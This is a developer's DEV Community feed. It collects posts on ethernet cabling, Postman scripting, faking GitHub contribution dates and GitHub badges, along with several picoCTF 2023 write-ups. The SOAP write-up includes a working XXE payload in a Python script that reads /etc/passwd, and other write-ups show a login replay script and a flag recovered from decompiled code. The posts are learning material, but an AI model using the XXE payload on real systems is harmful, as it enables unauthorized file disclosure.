DEV Community: Mudacumura Brunoblaise

Introduction to ethernet cabling

Mudacumura Brunoblaise — Sat, 17 Feb 2024 20:56:00 +0000

What we will cover in this article:

Summary of Ethernet standards
Summary copper cabling types.
Summary fiber optic cabling types.

What's an Ethernet standard

Ethernet standards ensure that network cabling will meet the bandwidth requirements of applications.

The standards specify the bit rate that should be achieved over different media types up to the supported distance limitations. These Ethernet media specifications are named using a three-part convention, which is often referred to as xBASE-y

The signal mode (baseband or broadband). All mainstream types of Ethernet use baseband transmissions, so you will only see specifications of the form xBASE-y.

For example, 10BASE-T denotes an early implementation that works at 10 Mbps (10), uses a baseband signal (BASE), and runs over twisted pair copper cabling (-T)

CAT CABLE STANDARDS

The American National Standards Institute (ANSI) and the Telecommunications Industry Association (TIA)/Electronic Industries Alliance (EIA) have created categories of cable standards for twisted pairs to simplify the selection of a suitable quality cable.

Cat 5 cable is no longer available. Cat 5e is tested at frequencies up to 100 MHz (like Cat 5 was) but to higher overall specifications for attenuation and crosstalk, meaning that the cable is rated to handle Gigabit Ethernet throughput. Cat 5e would still be an acceptable choice for providing network links for workstations.

Cat 8 is intended for use in data centers only for short patch cable runs that make top-of-rack connections between adjacent appliances. ISO defines two variants; 8.1 (Class I) is equivalent to TIA/EIA Cat 8 and uses RJ-45 connectors while 8.2 (Class II) must use outer shielding or screening and GG-45 or TERA connectors.

Copper Cable

Copper cable is used to transmit electrical signals. The cable between two nodes creates a low-voltage electrical circuit between the interfaces on the nodes. There are two main types of copper cable: twisted pair and coaxial (coax)

Twisted pair is a type of copper cable that has been extensively used for telephone systems and data networks.

There are two types of twisted pairs which are:

Shield Twisted pair(STP)

Shielded cable is less susceptible to interference and crosstalk. This type of cable is required for some Ethernet standards and may also be a requirement in environments with high levels of interference.

Unshielded Twisted pair(UTP)

Most twisted pair cable used in office networks is unshielded twisted pair (UTP). Modern buildings are often flood-wired using UTP cabling. This involves cables being laid to every location in the building that may need to support a telephone or computer.

TWISTED PAIR CONNECTOR TYPES

Twisted pair copper cabling uses Registered Jack (RJ) connectors for the physical interface. There are many different types of RJ connector

RJ-45 connectors are used with 4-pair (8-wire) cables. The connectors are also referred to as 8P8C, standing for 8-position/8-contact.

RJ-11 Connectors
The smaller RJ-11 connectors are used with 2- or 3-pair UTP.

COPPER TERMINATION STANDARDS

The ANSI/TIA/EIA 568 standard defines two methods for terminating Ethernet connectors: T568A and T568B.

Fiber Optic Cable

Fiber optic cable carries very high-frequency radiation in the infrared light part of the electromagnetic spectrum. The light signals are also not susceptible to interference or noise from other sources and are less affected by attenuation. Fiber optic cabling is divided into Single Mode (SMF) and MultiMode (MMF)

Single Mode Fiber (SMF) has a small core (8 to 10 microns) and a long wavelength, near-infrared (1310 nm or 1550 nm) light signal, generated by a laser. Single-mode cables support data rates up to 100 Gbps and cable runs of many kilometers, depending on the quality of the cable and optics. There are two grades of SMF cable; OS1 is designed for indoor use, while OS2 is for outdoor deployment.

Multimode Fiber (MMF) has a larger core (62.5 or 50 microns) and shorter wavelength light (850 nm or 1300 nm) transmitted in multiple waves of varying lengths. MMF uses less expensive optics and consequently is less expensive to deploy than SMF. However, it does not support such high signaling speeds or long distances as single mode and so is more suitable for LANs than WANs.

Resources

CompTIA Learning network plus

Credits

Massive credit goes to compTia Learning Center for the high-quality image, information, and inspiration to make this article.

2 neat Postman tricks you should know.

Mudacumura Brunoblaise — Sat, 13 Jan 2024 22:01:36 +0000

Introduction
We use postman every day and if not, you should consider using it, postman is one of the most powerful tools that developers use to test their Apis but most of them don't use its full potential. In this article we are going to go over 2 tricks that could save your time.

Prerequisites

This is all beginner friendly.

Let's get started! 🤞

We will walk ourselves from easy to hard.

1. Generating code

Postman can help you integrate API calls into your applications by generating code snippets in various coding languages.

let's see an example

Every request you make in postman, has a generation tab where you can generate code.

Once you open code generation tab you can choose language of your choice

2. Introduction to variables and scripting

Postman allows you to save values as variables so that you can:

Reuse values to keep your work DRY (Don’t Repeat Yourself)
Hide sensitive values like API keys from being shared publicly

The GIF below shows how to create a variable locally in your collection.

Now how do we set in programmatically?

Postman allows you to add automation and dynamic behaviors to your collections with scripting.

Postman will automatically execute any provided scripts during two events in the request flow:

Immediately before a request is sent: pre-request script (Pre-request Script tab of request).
Immediately after a response comes back: test script (Tests tab of request).

The `pm` object

Postman has a helper object named pm that gives you access to data about your Postman environment, requests, responses, variables and testing utilities.

let's see an example

For example, you can access the JSON response body from an API with:

pm.response.json()

You can also programmatically get collection variables like the value of baseUrl with:

pm.collectionVariables.get(“baseUrl”)

In addition to getting variables, you can also set them with

pm.collectionVariables.set("variableName", "variableValue")

like this:

pm.collectionVariables.set(“myVar”, “foo”)

and that is all I know I should have gone deep but my goal wasn't to go deep, and I have provided links for someone who wants to go advanced in testing

Credits

Massive credit goes to @postmanacademy for the high-quality images, information and the inspiration to make this article.

Thanks 😎 for reading if you find this interesting leave a follow and make sure to Follow me on GitHub @brunoblaise❤

How to hack GitHub contribution graph

Mudacumura Brunoblaise — Mon, 01 Jan 2024 00:20:22 +0000

Happy new year everyone 🎉✨, this will be my first article in this year so recently I was playing with gitfiti people who aren't familiar with it let us just say it is a cool tool used to draw a shape on your GitHub contribution graph but There is something wrong with it. Take this with a grainy of salt this is not absolute and I haven't tested it deeply the authors know better.

Basically the tool has a scale of 0-4 and as the value increase so as the color becomes more darker. They have different functions that work together to generate fake commit messages simply an image is converted into ASCII characters and put into array of other seven arrays Jack Herrington, has a great a video how those arrays are arranged in that way and are used to create fake commit message with different dates according to the ASCII characters to create that shape; here is an example: 👇

The problem part

GIT_AUTHOR_DATE=2023-04-14T12:00:00 GIT_COMMITTER_DATE=2023-04-14T12:00:00 git commit --allow-empty -m "gitfiti"

Can you see the problem if not here is the problem

and

are given previous year and month this introduces a bug in the program because one has to wait for day or two to see changes if any 🤔

The solution part

The solution is simple than you think they only thing to do is to target future year especially at the start of the year and this is how I have done it, let me show you my screenshots I just made like right now to prove this.

so what I did was just change the year and boom that was it

GIT_AUTHOR_DATE=2024-04-14T12:00:00 GIT_COMMITTER_DATE=2024-04-14T12:00:00 git commit --allow-empty -m "gitfiti"

I am making a PR like right now to fix this bug but wait now there is a new issue, does it mean that we have to wait at the end of the year to see these results. Honestly I don't know may be; some of you guys can figure it out.

Thanks 😎 for reading if you find this interesting leave a follow and make sure to follow me on GitHub, Take this as my personal view and my experience using the program this may vary.

How to add achievements on your GitHub profile

Mudacumura Brunoblaise — Sun, 31 Dec 2023 18:01:49 +0000

GitHub Profile Achievements 🏆

This is my last article in 2023 inspired by two people shout out to @schweinepriester and @Thinkright20 so the massive credit goes to them. These include format of the tables, information about each budge, images for each badge and labels.

The purpose of this article is to show you how to collect every single badge on GitHub, some of them are obtainable, others are not obtainable, and some are in beta testing.

I hope you enjoy 😊😊

GitHub badge section was introduced after the launch of the first Mars Helicopter Ingenuity

Today we have around 11 badges on GitHub, and some have different tiers or let's just say levels, so we will start looking at unobtainable badges, Beta badges and obtainable badges where we will divide them into different categories from Very easy - Easy - Medium - and finally Hard

Unobtainable Badges

They used to be obtainable but now are not.

Name	Badge Image	Earnable?	Earned By	Difficulty
Arctic Code Vault Contributor		`❌ No`	Previously obtainable by contributing code to repositories in the 2020 Archive Program	Very Easy
Mars 2020 Contributor		`❌ No`	Given if a user contributed code to repositories in the Mars 2020 Mission	Easy

Beta badges

Name	Badge Image	Earnable?	Earned By	Difficulty
Heart On Your Sleeve		`🔜 Beta Mode`	User cans obtain this badge by reacting to something on GitHub with a ❤️ emoji	Very Easy
Open Sourcerer		`🔜 Beta Mode`	Can be obtained if a user had Pull Requests merged in more than 1 public repository	Medium

Earnable badges

The following are earnable badge that you can get if you do what is required.

Easy category

Name	Badge Image	Earnable?	Earned By
Quickdraw		`✅ Yes`	Obtainable by closing a Pull Request or Issue in 5 mins of it being opened. (You can close your own issues)
Public Sponsor		`✅ Yes`	This badge can be earned by sponsoring a repository/organization/user.

Medium

Name	Earnable?	Earned By
Pull Shark	`✅ Yes`	You can get this badge by merging 2 pull requests.
YOLO	`✅ Yes`	A user can obtain this badge by merging a pull request without a review (This requires 1 user and 1 reviewer)
Galaxy Brain	`✅ Yes`	A user can get this badge by getting 2 of their answers accepted on the Community Discussions forum.

Hard

Name	Badge Image	Earnable?	Earned By
Pair Extraordinaire		`✅ Yes`	The user can obtain this badge by Coauthoring in a merged pull request. (Requires GitHub Desktop App)
Starstruck		`✅ Yes`	This badge is given to someone when one of their repository's gets 16 stars.

Levels or Tiers

Some Achievements not only have the base version, but also tiers. The following are the only badges that have tiers right now:

DEFAULT	BRONZE	SILVER	GOLD

Created a repository that has 16 stars	Created a repository that has 128 stars	Created a repository that has 512 stars	Created a repository that has 4096 stars

DEFAULT	BRONZE	SILVER	GOLD

1 merged pull request	Coauthored in 10 merged pull requests	Coauthored in 24 merged pull requests	Coauthored in 48 merged pull requests

DEFAULT	BRONZE	SILVER	GOLD

2 pull requests merged	16 pull requests merged	128 pull requests merged	1024 pull requests merged

DEFAULT	BRONZE	SILVER	GOLD

2 accepted answers	8 accepted answers	16 accepted answers	32 accepted answers

Colors & Labels

Every tier has either an x2, x3, or x4 label with it that also includes color. Here is the information about each one below:

Tier	Label	Hex
🥉 Bronze	`x2`	`#F9BFA7`
🥈 Silver	`x3`	`#E1E4E4`
🥇 Gold	`x4`	`#FAE57E`

Achievement Skin Tone

Some of the achievements on GitHub appear with a different skin color depending on your Emoji Skin Tone Preference.

You can change your preferred Skin Tone by going to the appearance settings.

Badge

Name

Skin Tone Versions

Starstruck


👋	👋🏻	👋🏼	👋🏽	👋🏾	👋🏿

Quickdraw


👋	👋🏻	👋🏼	👋🏽	👋🏾	👋🏿

Previous Names

Only 2 achievements have had their name altered in all of GitHub's History. These 2 achievements are the Public Sponsor and Mars 2020 Contributor as follows:

- GitHub Sponsor
+ Public Sponsor

- Mars 2020 Helicopter Contributor
+ Mars 2020 Contributor

Resources

Credits

Massive credit goes to @schweinepriester and @Thinkright20 for the high-quality images for each badge, labels, information for each badge, and the inspiration to make this article.

Follow me on GitHub @brunoblaise
❤

SOAP

Mudacumura Brunoblaise — Sat, 01 Apr 2023 14:41:14 +0000

SOAP

100 points

AUTHOR: GEOFFREY NJOGU

Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Additional details will be available after launching your challenge instance.

using this python script you can get the flag by sending a request using python

import requests

headers = {
    'Host': 'saturn.picoctf.net:port',
    # 'Content-Length': '126',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36',
    'Content-Type': 'application/xml',
    'Accept': '/',
    'Origin': 'http://saturn.picoctf.net:port/',
    'Referer': 'http://saturn.picoctf.net:port/',
    # 'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'Connection': 'close',
}

data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]><data><ID>&example;1</ID></data>'

response = requests.post('http://saturn.picoctf.net:port/data', headers=headers, data=data, verify=False)

print(response)

And we can see flag in the repsonse:

MatchTheRegex

Mudacumura Brunoblaise — Sat, 01 Apr 2023 14:32:08 +0000

MatchTheRegex

100 points

AUTHOR: SUNDAY JACOB NWANYIM

Description
How about trying to match a regular expression
The website is running here.

Note: This challenge launches an instance on demand.

Looking inside the script tag we can see:

<script>
    function send_request() {
        let val = document.getElementById("name").value;
        // ^p.....F!?
        fetch(`/flag?input=${val}`)
            .then(res => res.text())
            .then(res => {
                const res_json = JSON.parse(res);
                alert(res_json.flag)
                return false;
            })
        return false;
    }

</script>

The regex is supposed to be ^p.....F!?, literally the first and only guess was picoCTF, when I entered it gave the flag:

findme

Mudacumura Brunoblaise — Sat, 01 Apr 2023 14:23:01 +0000

findme

100 points

Help us test the form by submiting the username as test and password as test!

Note: This challenge launches an instance on demand.

Welp I'm not sure what's happening but I did solve this.

I used python script but event burp suite may be used to do this which is easy, but I find this one very easy.

Remember to remove and add the port they gave you.

import requests

headers = {
  'Host': 'saturn.picoctf.net:port',
  # 'Content-Length': '30',
  'Cache-Control': 'max-age=0',
  'Upgrade-Insecure-Requests': '1',
  'Origin': 'http://saturn.picoctf.net:port/',
  'Content-Type': 'application/x-www-form-urlencoded',
  'User-Agent':
  'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36',
  'Accept':
  'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Referer': 'http://saturn.picoctf.net:port/',
  # 'Accept-Encoding': 'gzip, deflate',
  'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',
  'Connection': 'close',
}

data = {
  'username': 'test',
  'password': 'test!',
}

response = requests.post('http://saturn.picoctf.net:port/login',
                         headers=headers,
                         data=data,
                         verify=False,
                         allow_redirects=False)
# Base 64 id heaeder
part_1 = response.headers

response = requests.post('http://saturn.picoctf.net:port/login',
                         headers=headers,
                         data=data,
                         verify=False)
# Base 64 id header
part_2 = response.text


print(part_1, part_2)

NOw decrypte the ids from base64 which gave the two parts of the flag that when combined gave me:

Virtual Machine 0

Mudacumura Brunoblaise — Sat, 01 Apr 2023 14:08:44 +0000

Virtual Machine 0

100 points

AUTHOR: LT 'SYREAL' JONES

Description
Can you crack this black box?
We grabbed this design doc from enemy servers: [Download]. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: [Download].

I searched google what the heck is a .dae file is, and its a file for models and can be opened in blender.

Opening the model in blender we get a lego construction with 2 wheels:

Blue - 8 teeth
Red - 40 teeth

We're told that the input is the number of times we turned the red wheel and the output is the number of times we turned the blue wheel.

Turing the red wheel once rotates the blue wheel 5 times so that's their relationship (idea from the hint), so if we just multiply the input by 5 we get the output which is a number that's supposed to be the flag.

There's only one thing to do now and it's to decode it to bytes:

from Crypto.Util.number import long_to_bytes

n = 39722847074734820757600524178581224432297292490103995908738058203639164185
print(long_to_bytes(n*5))

And we get the flag:

timer picoCTF 2023

Mudacumura Brunoblaise — Sat, 01 Apr 2023 14:05:20 +0000

timer

100 points

AUTHOR: LOIC SHEMA

Description
You will find the flag after analysing this apk
Download [here].

I searched google analyze apk file online and I found this site.

Uploading the file into it, the site said that the versionName of the file is:

Safe Opener 2

Mudacumura Brunoblaise — Sat, 01 Apr 2023 14:02:36 +0000

Safe Opener 2

100 points

AUTHOR: MUBARAK MIKAIL

Description
What can you do with this file?
I forgot the key to my safe but this file is supposed to help me with retrieving the lost key. Can you help me unlock my safe?

Using an online java decompiler like this one we get the following code:

import java.io.IOException;
import java.util.Base64;
import java.io.Reader;
import java.io.BufferedReader;
import java.io.InputStreamReader;

// 
// Decompiled by Procyon v0.5.36
// 

public class SafeOpener
{
    public static void main(final String[] args) throws IOException {
        final BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in));
        final Base64.Encoder encoder = Base64.getEncoder();
        String encodedkey = "";
        String key = "";
        for (int i = 0; i < 3; ++i) {
            System.out.print("Enter password for the safe: ");
            key = keyboard.readLine();
            encodedkey = encoder.encodeToString(key.getBytes());
            System.out.println(encodedkey);
            final boolean isOpen = openSafe(encodedkey);
            if (isOpen) {
                break;
            }
            System.out.println("You have  " + (2 - i) + " attempt(s) left");
        }
    }

    public static boolean openSafe(final String password) {
        final String encodedkey = "picoCTF{SAf3_0p3n3rr_y0u_solv3d_it_b427942b}";
        if (password.equals(encodedkey)) {
            System.out.println("Sesame open");
            return true;
        }
        System.out.println("Password is incorrect\n");
        return false;
    }
}

and so the flag is:

Reverse

Mudacumura Brunoblaise — Sat, 01 Apr 2023 13:58:13 +0000

Reverse

100 points

AUTHOR: MUBARAK MIKAIL

Description
Try reversing this file? Can ya?
I forgot the password to this [file]. Please find it for me?

Run strings on the file to get the flag or open it and CTRL + F and find pico.

Ready Gladiator 2

Mudacumura Brunoblaise — Sat, 01 Apr 2023 13:54:59 +0000

Ready Gladiator 2

400 points

Description
Can you make a CoreWars warrior that wins every single round?
Your opponent is the Imp. The source is available here. If you wanted to pit the Imp against himself, you could download the Imp and connect to the CoreWars server like this:
nc saturn.picoctf.net 59243 < imp.red
To get the flag, you must beat the Imp all 100 rounds.

Note: This challenge launches an instance on demand.

So this is the final challenge in the series, we need to find the ultimate strategy to defeat the imp once and for all and constantly.

After numerous google searches I stumbled upon this reddit thread and yeah, one of the comments literally says "Good luck in picoCTF23".

So google searching for the answer brought me to link which states:

The best passive defense against an imp is known as an imp-gate. The imp-gate is an instruction that decrements some static location prior to the first code instruction of the warrior. E.g:

warrior          ; some attack code here
jmp warrior,<-10 ; decrement relative position -10

;redcode
;name imp
;assert 1

warrior          ; some attack code here
jmp warrior,<-10 ; decrement relative position -10

end

copying the code and sending it to the server wins the game and get us:

DEV Community: Mudacumura Brunoblaise

Introduction to ethernet cabling

What we will cover in this article:

What's an Ethernet standard

CAT CABLE STANDARDS

Copper Cable

TWISTED PAIR CONNECTOR TYPES

COPPER TERMINATION STANDARDS

Fiber Optic Cable

Resources

Credits

2 neat Postman tricks you should know.

1. Generating code

let's see an example

2. Introduction to variables and scripting

Postman allows you to save values as variables so that you can:

Now how do we set in programmatically?

The pm object

let's see an example

Credits

How to hack GitHub contribution graph

The problem part

The solution part

How to add achievements on your GitHub profile

GitHub Profile Achievements 🏆

Unobtainable Badges

Beta badges

Earnable badges

Easy category

Medium

Hard

Levels or Tiers

Colors & Labels

Achievement Skin Tone

Previous Names

Resources

Credits

SOAP

SOAP

MatchTheRegex

MatchTheRegex

findme

findme

Virtual Machine 0

Virtual Machine 0

timer picoCTF 2023

timer

Safe Opener 2

Safe Opener 2

Reverse

Reverse

Ready Gladiator 2

Ready Gladiator 2

The `pm` object